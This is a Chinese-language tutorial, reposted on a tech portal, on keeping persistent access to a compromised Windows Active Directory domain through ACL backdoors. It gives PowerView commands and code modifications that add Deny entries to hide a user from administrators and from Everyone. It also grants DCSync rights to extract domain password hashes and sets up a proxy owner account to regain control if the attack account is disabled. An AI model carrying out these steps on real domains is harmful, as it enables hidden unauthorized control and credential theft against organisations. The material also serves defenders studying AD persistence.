您当前的位置:首页 > 电脑百科 > 安全防护 > 黑客技术

如何在Windows AD域中驻留ACL后门

时间:2022-12-08 16:26:03  来源:今日头条  作者:iHacking

 

前言

 

当拿下域控权限时,为了维持权限,常常需要驻留一些后门,从而达到长期控制的目的。windows AD域后门五花八门,除了常规的的添加隐藏用户、启动项、计划任务、抓取登录时的密码,还有一些基于ACL的后门。

 

ACL介绍

ACL是一个访问控制列表,是整个访问控制模型(ACM)的实现的总称。常说的ACL主要分为两类,分别为特定对象安全描述符的自由访问控制列表 (DACL) 和系统访问控制列表 (SACL)。对象的 DACL 和 SACL 都是访问控制条目 (ACE) 的集合,ACE控制着对象指定允许、拒绝或审计的访问权限,其中Deny拒绝优先于Allow允许。

安全描述符包含与安全对象关联的安全信息。 安全描述符由 SECURITY_DESCRIPTOR 结构和关联的安全信息组成。 安全描述符可以包含以下安全信息::

 

1、对象所有者和主组的安全标识符 (SID) 。

2、指定允许或拒绝特定用户或组的访问权限的 DACL 。

3、一个 SACL ,指定为对象生成审核记录的访问尝试的类型。

4、一组控制位,用于限定安全描述符或其单个成员的含义。

 

隐藏安全描述符

当可控一个用户时,不想该用户被轻易发现,可以对其进行隐藏。首先查看该用户所用者,默认是域管组:

 

 

可以在GUI上对所有者进行修改,也可以使用powerview进行修改:

Set-DomAInObjectOwner -identity jumbo -OwnerIdentity jumbo

修改完成后:

 

 

因为是权限维持,所以当前权限是域管,先尝试给域管添加一个对jumbo用户Deny所有权限的ACL,但是发现powerviewAdd-DomainObjectAcl方法并没有设置Deny权限的操作,只有Allow


 

当然,你可以使用New-ADObjectAccessControlEntry来完成手动ACL的添加,他的原理如下图:


 

上图看出还要手动做最后的ACL保存。既然Add-DomainObjectAcl已经完成了自动化的CommitChanges,直接把Allow默认可变的参数不就行了?首先手动在Add-DomainObjectAcl添加一个AccessControlType参数:

.PARAMETER AccessControlType

Specifies the type of ACE (allow or deny)

 


 

设置参数定义:

[Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')]
[ValidateSet('Allow', 'Deny')]
[String[]]
$AccessControlType,

 


 

删除之前的默认的Allow

 


 

最后把AccessControlType参数替换之前的ControlType

 


 

现在就可以在使用AccessControlType参数来给对象添加Allow或者Deny的权限了。

当尝试域管添加一个对jumbo用户Deny所有权限的ACL后:

Add-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity S-1-5-21-12312321-1231312-123123-500 -AccessControlType Deny

 

 

当然,把SID改成SamaccountName也是可以的:

Add-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity administrator -AccessControlType Deny

可以发现域管也没权限查看jumbo用户的属性了:



 

当使用system用户查看jumbo用户ACL时,可以看到对应的Deny的ACL:

 

 

现在域管对jumbo用户已经无法操作任何东西了,先用system用户删除该Deny权限,准备使用powerviewRemove-DomainObjectAcl方法时,发现也只有的Allow,也就是默认只能移除对象的Allow权限,老方法,把删除的ACL属性设置为可变参数:





 

进行删除:

Remove-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity S-1-5-21-12312321-1231312-123123-500 -Rights ALL -AccessControlType Deny

当然,把SID改成SamAccountName也是可以的:

Remove-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity administrator -Rights ALL -AccessControlType Deny

 

那么同学们可能会想,如果真的有人进行了上面操作,真的没办法查看了吗,实际上并不是,对象的拥有者是有权限修改的,比如把jumbo用户的拥有者改成默认的域管组,然后对域管进行设置Deny的ACL,但是实际上拥有者依然有权限修改其ACL,这也是为什么在文章开始的时候,要把jumbo拥有者设置为jumbo的目的:


 

上面尝试了拒绝域管对jumbo所有的权限,那为了隐藏,并且为了防止后续还要对jumbo用户的一些其他修改,实际上可以对jumbo用户设置everyone拒绝读取的权限即可:


 

现在所有用户对其都没有查看权限了:

 

 

当然,只是设置了拒绝读取权限,实际上当域管去修改其ACL权限时,还是可以的:

 

 

现在通过.NET user命令已经看不到jumbo这个用户了:

 

 

在“用户和计算机”里看用户长这样:

 


 

从上面的操作可以发现,给everyone用户添加拒绝读取权限时是通过GUI实现的,因为everyone用户是个特殊的用户,属于特殊身份群体,是一个属于Well-known SIDs的用户,其对应的SID为S-1-1-0

 


 

当尝试使用powerviewAdd-DomainObjectAcl方法是无法完成给everyone用户添加ACL的:


通过查看powerview的代码,会通过Get-ObjectAcl方法获取对应用户的SID,但是刚刚提到,everyone用户是个特殊的用户,导致查不到:

 


 

但是看了下还有个New-ADObjectAccessControlEntry方法,会判断输入的PrincipalIdentity参数是不是SID,如果是SID就不走查询,因此可以照葫芦画瓢,把这个判断加到Add-DomainObjectAcl方法中:

 

        if ($PrincipalIdentity -notmatch '^S-1-.*') {
            $PrincipalSearcherArguments = @{
                'Identity' = $PrincipalIdentity
                'Properties' = 'distinguishedname,objectsid'
            }
            if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }
            if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }
            if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }
            if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }
            if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
            if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }
            if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }
            $Principal = Get-DomainObject @PrincipalSearcherArguments
            if (-not $Principal) {
                throw "Unable to resolve principal: $PrincipalIdentity"
            }
            elseif($Principal.Count -gt 1) {
                throw "PrincipalIdentity matches multiple AD objects, but only one is allowed"
            }
            $ObjectSid = $Principal.objectsid
            Write-Host ($ObjectSid)
        }
        else {
            Write-Host "..sid.."
            $ObjectSid = $PrincipalIdentity
        }

 

 

                $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ObjectSid)

现在尝试下,给jumbo2用户添加everyone所有拒绝的ACL:

Add-DomainObjectAcl -TargetIdentity jumbo2 -PrincipalIdentity S-1-1-0 -Rights All -AccessControlType Deny

 



 

Remove-DomainObjectAcl方法同理

 

隐藏主体

通过上面的步骤,除了jumbo用户本身可以查看jumbo用户以为,其他用户都没有ReadControl权限,但是在“Active Directory用户和计算机管理”里还是可以看到,虽然ico图标都没了,接下来要让在“Active Directory用户和计算机管理”里也看不到。为了方便演示,笔者把jumbo用户移到一个单独的OU组里:

 

 

然后给这个OU设置everyone拒绝读取权限即可:



 

遇到一些粗心大意的管理员,可能会觉得这只是无意残留的无害物质,无伤大雅。

 

Dcsync

Dcsync实际上就是给用户设置两条扩展权限,分别为:

DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)

当用户拥有这两条ACL后,即可使用DRS协议获取域hash凭据。给用户在域对象上添加Dcsync权限即可:

 


 

代理账号

上面提到,把jumbo用户拥有者改成自身,然后设置everyone对其没有读取权限,这样就可以达到隐藏jumbo,然后手上的jumbo用户就可以肆无忌惮的做一些操作。但是有个问题,万一做操作的时候,该用户被发现了,管理员把该用户进行了禁用,那好不容易获取到的账号就废了。为了防止账号被发现后被禁用/被改密码不可用,应该设置个代理账号,把准备拿来攻击的账号(某个管理员用户或者有dcsync类似权限的账号)的拥有者设置代理账号,代理账号是其拥有所有者,然后设置所有用户对攻击账号都不可操作,最后每次都可以使用代理账号控制攻击账号,就算攻击账号被禁用/被改密码,也可以使用代理账号来重新启用他。

首先攻击账号为attack,代理账号为good,首先设置attack账号所有者为good

Set-DomainObjectOwner -identity attack -OwnerIdentity good

 

attack账号添加dcsync权限:

Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity attack -Rights DCSync -AccessControlType Allow

 

 

设置attack都不可操作:

Add-DomainObjectAcl -TargetIdentity attack -PrincipalIdentity S-1-1-0 -Rights All -AccessControlType Deny

这个时候,如果attack在发起攻击的时候被管理员发现了,把attack账号密码重置了,但是good账号是attack账号的拥有者,可以修改attack账号的ACL,比如给自己添加修改密码的权限,然后去重置attack账号的密码,然后就又可以拿来攻击了。

 

总结

本文主要讲了在Windows域中如何利用ACL进行后门隐藏,并对powerview进行修改使其支持在添加ACL或者删除ACL时可以指定Allow或者Deny,也可以选择everyone此类特殊用户。



Tags:后门   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,不构成投资建议。投资者据此操作,风险自担。如有任何标注错误或版权侵犯请与我们联系,我们将及时更正、删除。
▌相关推荐
2023史诗级漏洞后门曝光!存在长达几十年,美国或用于监听全球
近期,荷兰研究人员发现一种用于全球关键数据和语音无线电通信的技术存在严重的安全漏洞,甚至还有一个故意设置的后门。值得一提的是,该技术一直处于保密状态,以防止任何人仔细检...【详细内容】
2023-07-28  Search: 后门  点击:(275)  评论:(0)  加入收藏
常见域后门技术总结与分析利用
0x00 前言当获取到域控的权限后,为了防止对域控权限的丢失,hacker 也会使用一些技术来维持已获取到的域权限。因此,本文对常见的域后门技术进行了总结并对其利用方式进行了详细...【详细内容】
2023-03-09  Search: 后门  点击:(294)  评论:(0)  加入收藏
双头龙(RotaJakiro),一个至少潜伏了3年的后门木马
版权版权声明:本文为Netlab原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。概述2021年3月25日,360 NETLAB的BotMon系统发现一个的VT 0检测的可疑ELF文件(M...【详细内容】
2023-02-23  Search: 后门  点击:(335)  评论:(0)  加入收藏
使用DNS Tunnel技术的后门木马正在通过Log4j漏洞传播
背景自从Log4J漏洞被曝光后,正所谓"忽如一夜漏洞来,大黑小灰笑开怀”。无数黑产团伙摩拳擦掌加入了这个“狂欢派对”,其中既有许多业界非常熟悉的恶意软件家族,同时也有一些新兴...【详细内容】
2023-02-04  Search: 后门  点击:(162)  评论:(0)  加入收藏
如何在Windows AD域中驻留ACL后门
前言 当拿下域控权限时,为了维持权限,常常需要驻留一些后门,从而达到长期控制的目的。Windows AD域后门五花八门,除了常规的的添加隐藏用户、启动项、计划任务、抓取登录时的密...【详细内容】
2022-12-08  Search: 后门  点击:(422)  评论:(0)  加入收藏
黑客组织使用定制的“Symatic”加载Cobalt Strike后门
一个以前不为人知的APT(高级持续威胁)黑客组织被称为“Earth Longzhi”,目标是东亚、东南亚和乌克兰的组织。攻击者至少从 2020 年开始就一直活跃,他们使用定制版本的 Cobalt St...【详细内容】
2022-11-11  Search: 后门  点击:(400)  评论:(0)  加入收藏
Linux后渗透常见后门驻留方式分析
引言当RedTeam拿下了一台服务器并获取到系统较高权限,但不知道服务器的凭证时,RedTeam会采用怎样的技术获取系统凭证呢?又或者,在RedTeam拿下一台服务器,为达到长久控制的目的而...【详细内容】
2022-11-09  Search: 后门  点击:(279)  评论:(0)  加入收藏
网站被黑客上传了木马后门如何处理
如果网站遭到黑客攻击,不要担心,您可以遵循以下提示:1.确认网站已被篡改攻击,尤其被上传了网站木马文件,一般被称为是Webshell。攻击者也有可能通过Webshell获得服务器的管理员...【详细内容】
2022-10-31  Search: 后门  点击:(392)  评论:(0)  加入收藏
怎么查看电脑是否有后门?快速删除木马后门秘诀
感觉现在的互联网上,病毒以及各种类型的木马程序越来越多了,换着花样的出现。除了加强防范意识之外,那么我们如何确定自己的电脑是否被植入了后门呢?其实这很容易,只需要简单的一...【详细内容】
2022-09-11  Search: 后门  点击:(1047)  评论:(0)  加入收藏
linux服务器有木马后门如何排查定时任务计划
关于在linux在排查木马时查看定时任务,那定时任务是什么,其实它就是定时定点的执行Linux程序或者一个脚本。那如何创建定时任务,很简单,我们通过这个命令,每一个用户都可以创建自...【详细内容】
2022-09-08  Search: 后门  点击:(348)  评论:(0)  加入收藏
▌简易百科推荐
小心“黑客”利用445端口攻击你的Win8系统!
Windows 8系统自带一个名为SMB(Server Message Block)的服务,使用445端口进行通信。这个服务主要用于文件共享和网络协议等功能,但是无良黑客也会利用这个服务来攻击你的电脑。...【详细内容】
2024-04-10    潘小姐  Tags:445端口   点击:(3)  评论:(0)  加入收藏
为什么黑客不去攻击微信钱包?
在这个数字化时代,网络安全已经成为我们生活中不可或缺的一部分。每当我们打开手机,使用微信钱包进行支付时,是否曾有过这样的疑问:为什么黑客不去攻击微信钱包?这个问题,就像是在...【详细内容】
2024-02-19  猫探长情报局  今日头条  Tags:黑客   点击:(55)  评论:(0)  加入收藏
发条消息就能破解iPhone?苹果系统这次像被“内鬼”攻破的。。。
前几天,差评君在网上冲浪的时候,看到了一条相当震撼的消息:简单来讲,就是主打封闭安全的 iPhone ,不仅被攻击者发现了漏洞成功入侵,完全控制整个手机。更加抽象的是入侵的还是知名...【详细内容】
2024-01-26  差评    Tags:破解iPhone   点击:(136)  评论:(0)  加入收藏
十种黑客攻击手段及防御方法
在互联网的世界里,网站安全犹如一座城堡,需要严密的防线来抵御各种攻击手段。以下是10种最常见的网络攻击手段,以及我们如何采取措施来保护我们的网站。1. 跨站脚本攻击:这是黑...【详细内容】
2024-01-21  老吴讲IT    Tags:黑客攻击   点击:(83)  评论:(0)  加入收藏
渗透测试中最常见的漏洞有哪些?
什么是渗透测试?渗透测试是一项安全测试,旨在模拟黑客的攻击方式,评估系统、网络或应用程序的安全性,发现潜在的安全漏洞并提出建议来修复它们。渗透测试中最常见的漏洞包括:1....【详细内容】
2024-01-11  五湖联技术服务公司    Tags:渗透测试   点击:(107)  评论:(0)  加入收藏
作为一名黑客/安全专家,应该掌握什么技能?熟悉哪些软件/工具?
作为一名合格的黑客/网络安全专家,应该具备一套全面的知识体系和实战技能,同时熟悉多种安全软件和工具。今天我们将根据目前市面上流行的一些应用程序,以及常规的安全防护措施,...【详细内容】
2023-12-11  黑客联盟I    Tags:黑客   点击:(140)  评论:(0)  加入收藏
黑客是如何入侵一个网站的?(网络安全人员应该了解的知识)
前不久阿里以及滴滴系统的大规模瘫痪足以唤起人们对网络安全的重视。我首先必须澄清的是,作为一个网络安全专家,我不提供或者鼓励任何违法的行为,包括未经授权的计算机系统入侵...【详细内容】
2023-12-07  黑客联盟I    Tags:黑客   点击:(177)  评论:(0)  加入收藏
网络黑客入侵解析:保护你的网络安全
在当今数字化快速发展的时代,网络安全问题逐渐成为人们关注的焦点。网络黑客入侵事件频发,给个人和企业带来了严重的威胁。本文将深入解析网络黑客入侵的常见手段和原因,并探讨...【详细内容】
2023-12-05  小记青春    Tags:黑客入侵   点击:(161)  评论:(0)  加入收藏
黑客滥用 Google 表单进行诈骗
研究人员最近发现滥用 Google 表单的垃圾邮件有所增加,攻击者首先在 Google 表单中创建新的问卷调查,并且利用受害者的电子邮件地址参与问卷调查,滥用 Google 表单的功能将垃圾...【详细内容】
2023-11-23  区块软件开发  今日头条  Tags:黑客   点击:(221)  评论:(0)  加入收藏
黑客工具 Flipper Zero 曝光,可利用蓝牙弹出窗口崩溃 iPhone
据外媒 9to5Mac 报道,一种流行且廉价的黑客设备 Flipper Zero 今年 9 月首次出现,可通过制造蓝牙弹出窗口,向 iPhone 和 iPad 重复告诉发送垃圾内容,直到相关设备最终崩溃,不过直...【详细内容】
2023-11-20  IT之家    Tags:黑客工具   点击:(242)  评论:(0)  加入收藏
站内最新
站内热门
站内头条